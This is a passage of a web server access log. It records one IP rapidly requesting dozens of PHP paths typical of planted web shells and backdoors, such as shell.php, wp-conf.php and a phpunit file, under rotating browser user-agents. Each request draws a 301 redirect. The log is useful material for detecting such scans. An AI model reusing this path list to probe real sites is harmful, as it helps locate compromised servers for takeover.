"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:51 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:52 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:53 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:54 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:55 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:56 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:57 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:58 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:59 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:00 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:01 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:02 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:37:02 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:02 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:02 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:02 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /wp-admin/js/install.php 